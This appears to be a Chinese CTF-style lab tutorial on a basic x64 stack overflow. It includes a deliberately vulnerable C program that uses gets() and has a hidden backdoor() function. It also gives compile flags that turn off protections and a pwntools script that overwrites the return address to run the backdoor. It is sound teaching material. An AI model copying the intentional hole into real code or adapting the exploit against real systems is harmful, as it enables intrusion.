1. 栈溢出基础
任务目标
本案例提供一个存在栈溢出漏洞的Linux ELF程序,程序中包含一个未被调用的后门函数backdoor()。目标是通过输入超长数据覆盖栈上的返回地址,使其指向backdoor(),从而劫持控制流并读取flag.txt文件内容。
漏洞程序源码
// vuln.c
#include <stdio.h>
#include <string.h>
void backdoor() {
system("cat flag.txt");
}
void vulnerable() {
char buf[64];
gets(buf);
}
int main() {
vulnerable();
printf("Returned safely!\n");
return 0;
}
编译与保护机制
# 关闭PIE和栈保护,启用NX(默认开启)
gcc -o vuln vuln.c -fno-stack-protector -no-pie
# 确认保护状态
checksec --file=./vuln
编译时关闭了栈金丝雀(Stack Canary)和PIE,使返回地址在固定位置且无溢出检测。NX启用意味着栈不可执行,但本案例利用的是代码段中已有的backdoor(),不受NX影响。
漏洞分析
gets()不检查输入长度,向64字节的缓冲区写入超长数据时,会依次覆盖:buf[0..63] → 保存的EBP(8字节,x64架构) → 返回地址。因此构造64字节填充 + 8字节假EBP + backdoor地址即可劫持控制流。
利用代码
# exploit.py
from pwn import *
# 获取backdoor函数地址
elf = ELF('./vuln')
backdoor_addr = elf.symbols['backdoor']
print(f"[*] backdoor() address: {hex(backdoor_addr)}")
# 构造payload
payload = b'A' * 64 # 填充buf
payload += b'B' * 8 # 覆盖保存的EBP(内容任意)
payload += p64(backdoor_addr) # 覆盖返回地址
# 本地执行
p = process('./vuln')
p.sendline(payload)
print(p.recvall().decode())
运行与验证
# 准备flag文件(仅用于本地验证)
echo "CTF{ret2text_success}" > flag.txt
# 运行利用脚本
python3 exploit.py
通过条件:程序输出CTF{ret2text_success},且不会打印Returned safely!。若输出Returned safely!,说明返回地址未被正确覆盖,需检查偏移量或地址计算。
关键点说明
- 偏移量计算:x64下
buf到返回地址的距离为64(buf大小)+ 8(保存的EBP),共72字节。 - 地址格式:使用
p64()将地址转为小端序字节串。 - 若远程环境开启ASLR,由于未启用PIE,
backdoor()地址固定,无需泄露。
图中左侧为栈帧布局,右侧为正常调用链与劫持后的跳转路径。当gets()输入超过72字节时,返回地址被覆盖为backdoor()的入口,函数返回时ret指令将跳转到后门函数执行。